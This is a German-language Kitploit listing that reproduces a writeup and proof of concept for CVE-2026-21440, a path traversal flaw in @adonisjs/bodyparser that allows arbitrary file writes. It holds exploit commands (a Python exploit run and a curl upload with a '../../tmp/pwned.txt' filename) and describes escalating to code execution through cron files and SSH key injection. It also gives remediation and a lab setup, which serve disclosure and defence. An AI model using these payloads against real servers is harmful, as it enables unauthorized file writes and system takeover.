Skip to content
KitploitKITPLOIT
ToolsExploitsBlog
Log in
Einreichen
ToolsExploitsBlog
Einreichen

Hacking-, PenTest- und Cybersicherheits-Tools für Ihr Sicherheitsarsenal!

Kitploit ist ein Verzeichnis von Hacking-, Cybersicherheits- und Pentesting-Tools. Entdecken Sie die neuesten Projekt-Updates, um Schwachstellen zu finden, Systeme zu analysieren, Tests zu automatisieren und Ihre Sicherheit zu stärken.

FeedsKontaktDatenschutz© 2026 Kitploit

Tool-Verzeichnis

Kategorien

Alle Kategorien anzeigen
Loading categories
cve-2026-21440-writeup-poc — PoC und Writeup für CVE-2026-21440: eine kritische Path-Traversal-Schwachstelle in @adonisjs/bodyparser, die das Schreiben beliebiger Dateien ermöglicht | Kitploit
Tools/GitHubGitHub/k0nnect/cve-2026-21440-writeup-poc
SchwachstellenanalyseExploitationWebanwendungs-ExploitationPapers & ForschungLernen & BildungKuratierte RessourcenLabs & Praxis
GitHubk0nnect/cve-2026-21440-writeup-poc

cve-2026-21440-writeup-poc

PoC und Writeup für CVE-2026-21440: eine kritische Path-Traversal-Schwachstelle in @adonisjs/bodyparser, die das Schreiben beliebiger Dateien ermöglicht

Repository anzeigen
413vor 9 MonatenNoch nicht geprüft

Beliebteste

Alle anzeigen →

Entdecken Sie die meistgenutzten Tools unserer Community.

Alle Tools erkunden

Durchsuchen Sie unsere Tool-Sammlung

Alle Tools anzeigen →
Teilen

cve-2026-21440

Path-Traversal zu beliebigem Datei-Schreiben in @adonisjs/bodyparser

CVE-2026-21440 CWE-22 CVSS 9.2


Übersicht

Eine kritische Path-Traversal-Schwachstelle existiert im Paket @adonisjs/bodyparser, die es entfernten Angreifern ermöglicht, beliebige Dateien außerhalb des vorgesehenen Upload-Verzeichnisses zu schreiben. Wenn die Funktion multipartfile.move() aufgerufen wird, ohne explizit einen bereinigten Dateinamen anzugeben, verwendet der Parser standardmäßig den vom Client gelieferten Dateinamen ohne ordnungsgemäße Bereinigung.

Da die Implementierung path.join() verwendet und options.overwrite standardmäßig auf true gesetzt ist, kann ein Angreifer einen bösartigen Dateinamen mit Verzeichnis-Traversal-Sequenzen (z. B. ../../etc/cron.d/malicious) erstellen, um Dateien überall im Dateisystem zu schreiben, was möglicherweise zur Remote-Code-Ausführung führt.


Schwachstellenanalyse

AttributWert
CVE-IDcve-2026-21440
CWE-Klassifizierungcwe-22: Unzulässige Begrenzung eines Pfadnamens auf ein eingeschränktes Verzeichnis ('Path Traversal')
CVSS v3.1-Score9.2 (kritisch)
AngriffsvektorNetzwerk
Angriffskomplexitätniedrig
Erforderliche Privilegienkeine
Benutzerinteraktionkeine

Grundursache

Die Schwachstelle existiert in der Methode multipartfile.move(location, options?). Wenn Entwickler diese Methode aufrufen, ohne options.name anzugeben, verwendet der Code standardmäßig this.clientName — den ursprünglichen, vom Client gesendeten Dateinamen — ohne Bereinigung.

// Verwundbarer Codepfad in @adonisjs/bodyparser
async move(location: string, options?: { name?: string; overwrite?: boolean }): Promise<void> {
  const fileName = options?.name || this.clientName  // ← unbereinigte Client-Eingabe
  const filePath = path.join(location, fileName)     // ← path.join erlaubt Traversal
  // ...
  await fs.move(this.tmpPath, filePath, { overwrite: options?.overwrite ?? true })
}

Angriffsablauf

┌─────────────────────────────────────────────────────────────────┐
│                         Angreifer                               │
└─────────────────────────────────────────────────────────────────┘
                              │
                              │ multipart/form-data
                              │ filename="../../etc/cron.d/pwned"
                              ▼
┌─────────────────────────────────────────────────────────────────┐
│                    Verwundbare AdonisJS-App                      │
│                                                                  │
│   request.file('upload')                                        │
│        │                                                         │
│        ▼                                                         │
│   file.move(app.tmpPath())  ← kein bereinigter Name angegeben   │
│        │                                                         │
│        ▼                                                         │
│   path.join('/tmp/uploads', '../../etc/cron.d/pwned')           │
│        │                                                         │
│        ▼                                                         │
│   löst auf zu: /etc/cron.d/pwned                                │
│        │                                                         │
│        ▼                                                         │
│   Datei außerhalb des Upload-Verzeichnisses geschrieben          │
└─────────────────────────────────────────────────────────────────┘
                              │
                              ▼
                    beliebiges Datei-Schreiben
                         → RCE über Cron
                         → Konfigurationsüberschreibung
                         → SSH-Key-Injektion

Betroffene Versionen

PaketVerwundbare VersionenGepatchte Version
@adonisjs/bodyparser≤ 10.1.110.1.2
@adonisjs/bodyparser11.0.0-next.1 bis 11.0.0-next.511.0.0-next.6

Ausnutzung

Voraussetzungen

  • Zielanwendung verwendet eine verwundbare Version von @adonisjs/bodyparser
  • Datei-Upload-Endpunkt ruft file.move() ohne explizite name-Option auf
  • Webserver hat Schreibrechte für das Zielverzeichnis

Proof of Concept

# Navigiere zum Exploit-Verzeichnis
cd Exploit-PoC

# Installiere Abhängigkeiten
pip install -r requirements.txt

# Führe Exploit aus
python exploit.py --url http://target:3333/upload --path "../../../tmp/pwned.txt" --content "pwned"

Manuelle Ausnutzung

curl -X POST http://target:3333/upload \
  -F "[email protected];filename=../../tmp/pwned.txt"

Erkennung & Abhilfe

Verwundbares Codemuster

// ❌ verwundbar - verwendet vom Client gelieferten Dateinamen
public async upload({ request, response }: HttpContext) {
  const file = request.file('upload')
  if (file) {
    await file.move(app.tmpPath())  // clientName wird als Dateiname verwendet
  }
  return response.ok({ message: 'uploaded' })
}

Sicheres Codemuster

// ✅ sicher - generiert bereinigten Dateinamen
import { cuid } from '@adonisjs/core/helpers'
import path from 'node:path'

public async upload({ request, response }: HttpContext) {
  const file = request.file('upload')
  if (file) {
    // Generiere eindeutigen Dateinamen mit ursprünglicher Erweiterung
    const ext = path.extname(file.clientName).toLowerCase()
    const safeName = `${cuid()}${ext}`
    
    await file.move(app.tmpPath(), {
      name: safeName,
      overwrite: false  // Überschreibungen verhindern
    })
  }
  return response.ok({ message: 'uploaded' })
}

Zusätzliche Abhilfemaßnahmen

  1. Sofort aktualisieren — @adonisjs/bodyparser auf die gepatchte Version aktualisieren
  2. Eingabevalidierung — Dateierweiterungen gegen eine Whitelist validieren
  3. Dateinamen-Bereinigung — Pfadtrennzeichen entfernen und generierte Namen verwenden
  4. Dateisystem-Isolation — Containerisierung verwenden, um den Schadensradius zu begrenzen
  5. Prinzip der geringsten Privilegien — Webserver mit minimalen Berechtigungen ausführen

Laborumgebung

Schnellstart

# Repository klonen
git clone https://github.com/k0nnect/cve-2026-21440.git
cd cve-2026-21440

# Verwundbare Umgebung starten
docker-compose up --build

# In einem anderen Terminal den Exploit ausführen
cd Exploit-PoC
python exploit.py --url http://localhost:3333/upload --path "../test.txt"

# Überprüfen, ob die Datei außerhalb des Uploads-Verzeichnisses geschrieben wurde
docker-compose exec app cat /app/test.txt

Zeitplan

DatumEreignis
2026-01-02Patch in 10.1.2 und 11.0.0-next.6 veröffentlicht
2026-01-02ghsa-gvq6-hvvp-h34h veröffentlicht
2026-01-02cve-2026-21440 zugewiesen
2026-01-02von nvd veröffentlicht

Referenzen

  • nvd - cve-2026-21440
  • cwe-22: Path Traversal
  • AdonisJS-Bodyparser-Dokumentation
  • OWASP Path Traversal

Haftungsausschluss

Tool herunterladen